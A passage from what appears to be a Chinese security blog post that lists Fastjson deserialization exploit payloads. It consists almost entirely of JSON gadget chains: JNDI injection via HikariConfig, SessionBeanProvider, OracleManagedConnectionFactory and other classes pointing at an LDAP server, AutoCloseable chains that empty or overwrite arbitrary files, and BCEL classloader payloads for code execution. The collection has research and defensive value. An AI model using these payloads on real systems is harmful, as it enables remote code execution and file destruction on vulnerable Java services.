    "jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileOutputStream",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 清空指定文件

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileWriter",
    "file":"/tmp/nonexist",
    "append":false
}

AutoCloseable 任意文件写入

{
    "stream":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.FileOutputStream",
        "file":"/tmp/nonexist",
        "append":false
    },
    "writer":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.apache.solr.common.util.FastOutputStream",
        "tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
        "sink":
        {
            "$ref":"$.stream"
        },
        "start":38
    },
    "close":
    {
        "@type":"java.lang.AutoCloseable",
        "@type":"org.iq80.snappy.SnappyOutputStream",
        "out":
        {
            "$ref":"$.writer"
        }
    }
}

BasicDataSource

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassName": "true",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
    }

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

{
    "@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

{
    "@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "Object": "su18"
}

JMSContentInterceptor

{
    "@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
    "parameters": {
        "@type": "java.util.Hashtable",
        "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
        "topic-factory": "ldap://127.0.0.1:23457/Command8"
    },
    "namespace": ""
}

ContextClassLoaderSwitcher

{
    "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
    "contextClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "a": {
        "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
    }
}

OracleManagedConnectionFactory

{
    "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
    "xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

{
    "@type": "org.apache.commons.configuration.JNDIConfiguration",
    "prefix": "ldap://127.0.0.1:23457/Command8"
}

参考链接:

https://www.javasec.org/java-vuls/FastJson.html

文章来源: https://www.cnblogs.com/LittleHann/p/17816844.html
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